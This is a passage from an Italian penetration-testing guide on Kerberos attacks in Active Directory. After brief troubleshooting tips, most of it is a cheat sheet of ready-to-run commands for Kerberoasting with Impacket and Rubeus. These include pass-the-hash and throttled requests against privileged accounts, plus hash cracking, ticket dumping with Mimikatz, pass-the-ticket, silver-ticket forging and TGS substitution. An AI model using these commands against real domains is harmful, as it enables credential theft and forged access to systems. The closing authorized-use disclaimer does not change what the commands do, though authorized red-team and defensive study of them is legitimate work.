- hostname o alias non coerente;
- più servizi configurati con account differenti;
- vecchio ticket ancora in cache.
Pulizia cache:
klist purgeClock skew #
Kerberos dipende fortemente dalla sincronizzazione temporale.
Linux:
sudo ntpdate dc01.corp.localOppure:
sudo timedatectl set-ntp false
sudo ntpdate 10.10.10.5Windows:
w32tm /query /status
w32tm /resyncUsare IP invece del nome #
Questo comando può provocare fallback NTLM:
dir \\10.10.10.20\C$Preferisci:
dir \\fileserver.corp.local\C$Da Linux, configura correttamente DNS o /etc/hosts:
10.10.10.5 dc01.corp.local dc01
10.10.10.20 fileserver.corp.local fileserver
10.10.10.30 sql01.corp.local sql01Cache Kerberos errata #
echo "$KRB5CCNAME"
klistImpostazione corretta:
export KRB5CCNAME=$PWD/Administrator.ccacheTicket scaduto #
klistControlla:
Valid starting;Expires;renew until;- principal;
- service principal;
- encryption type.
RC4 non supportato #
Nei domini moderni puoi ricevere errori legati alla mancata intersezione tra encryption type.
Prova:
- AES128;
- AES256;
-no-rc4con Impacket;/aescon Rubeus;- verifica
msDS-SupportedEncryptionTypes; - verifica che la password dell’account sia stata cambiata dopo l’introduzione del supporto AES;
- controlla Event ID 27 sul KDC.
Cheat Sheet #
=== ENUMERAZIONE SPN ===
Linux:
impacket-GetUserSPNs 'corp.local/user:Password123!' -dc-ip DC_IP
Windows:
setspn -T corp.local -Q */*
Get-DomainUser -SPN
.\Rubeus.exe kerberoast /stats
=== KERBEROASTING CON IMPACKET ===
Tutti:
impacket-GetUserSPNs 'corp.local/user:Password123!' \
-dc-ip DC_IP -request -outputfile hashes.txt
Utente specifico:
impacket-GetUserSPNs 'corp.local/user:Password123!' \
-dc-ip DC_IP -request-user svc_sql -outputfile svc_sql.txt
Pass-the-Hash:
impacket-GetUserSPNs corp.local/user \
-hashes ':NTHASH' -dc-ip DC_IP \
-request -outputfile hashes.txt
Ticket cache:
export KRB5CCNAME=user.ccache
impacket-GetUserSPNs corp.local/user \
-k -no-pass -dc-ip DC_IP \
-request -outputfile hashes.txt
=== KERBEROASTING CON RUBEUS ===
Tutti:
.\Rubeus.exe kerberoast /outfile:hashes.txt
Account specifico:
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql.txt
Statistiche:
.\Rubeus.exe kerberoast /stats
Account privilegiati:
.\Rubeus.exe kerberoast \
/ldapfilter:"admincount=1" \
/outfile:admin_hashes.txt
Password vecchie:
.\Rubeus.exe kerberoast \
/pwdsetbefore:01-01-2023 \
/outfile:old_hashes.txt
Richieste controllate:
.\Rubeus.exe kerberoast \
/delay:5000 /jitter:30 \
/outfile:hashes.txt
RC4 su account non AES:
.\Rubeus.exe kerberoast \
/rc4opsec \
/outfile:rc4_hashes.txt
AES:
.\Rubeus.exe kerberoast \
/aes \
/outfile:aes_hashes.txt
=== CRACK ===
RC4:
hashcat -m 13100 hashes.txt rockyou.txt
AES128:
hashcat -m 19600 hashes.txt rockyou.txt
AES256:
hashcat -m 19700 hashes.txt rockyou.txt
John:
john --format=krb5tgs \
--wordlist=rockyou.txt \
hashes.txt
=== DUMP SERVICE TICKET ===
Rubeus:
.\Rubeus.exe dump /service:MSSQLSvc /nowrap
Mimikatz:
sekurlsa::tickets /export
Conversione:
impacket-ticketConverter ticket.kirbi ticket.ccache
=== PASS-THE-TICKET ===
Windows:
.\Rubeus.exe ptt /ticket:service_ticket.kirbi
Linux:
export KRB5CCNAME=service_ticket.ccache
impacket-smbclient -k -no-pass \
corp.local/User@server.corp.local
=== SILVER TICKET ===
Impacket RC4:
impacket-ticketer \
-nthash SERVICE_HASH \
-domain-sid DOMAIN_SID \
-domain corp.local \
-spn cifs/server.corp.local \
Administrator
Impacket AES:
impacket-ticketer \
-aesKey AES256_KEY \
-domain-sid DOMAIN_SID \
-domain corp.local \
-spn MSSQLSvc/sql01.corp.local:1433 \
Administrator
Uso:
export KRB5CCNAME=Administrator.ccache
=== TGS SUBSTITUTION ===
.\Rubeus.exe tgssub \
/ticket:original.kirbi \
/altservice:cifs/server.corp.local \
/ptt
=== ERRORI COMUNI ===
KDC_ERR_S_PRINCIPAL_UNKNOWN:
SPN inesistente o scritto male
KDC_ERR_PRINCIPAL_NOT_UNIQUE:
SPN duplicato
KRB_AP_ERR_MODIFIED:
chiave errata o SPN registrato sull'account sbagliato
Clock skew:
sincronizza l'orario con il DC
Accesso tramite IP:
usa FQDN coerente con lo SPN
RC4 rifiutato:
usa AES e verifica msDS-SupportedEncryptionTypesArticoli Correlati #
- Kerberos: architettura e flusso
- TGT Kerberos: Ticket Granting Ticket
- Kerberoasting: guida completa
- Silver Ticket Attack
- Golden Ticket Attack
- GetUserSPNs.py con Impacket
- Rubeus: guida completa
- BloodHound: trovare i path di attacco
- Credential Dumping su Windows
- Pass-the-Ticket in Active Directory
Riferimenti Tecnici #
- MITRE ATT&CK T1558.003 — Kerberoasting
- MITRE ATT&CK T1558.002 — Silver Ticket
- Microsoft — Event ID 4769
- Microsoft — Service Principal Names
- Microsoft — RC4 Kerberos Hardening
- Rubeus — Repository Ufficiale
- Impacket — Repository Ufficiale
Tutti i comandi e le tecniche illustrate devono essere utilizzati esclusivamente in laboratori, infrastrutture proprie o ambienti per i quali si dispone di un’autorizzazione esplicita.








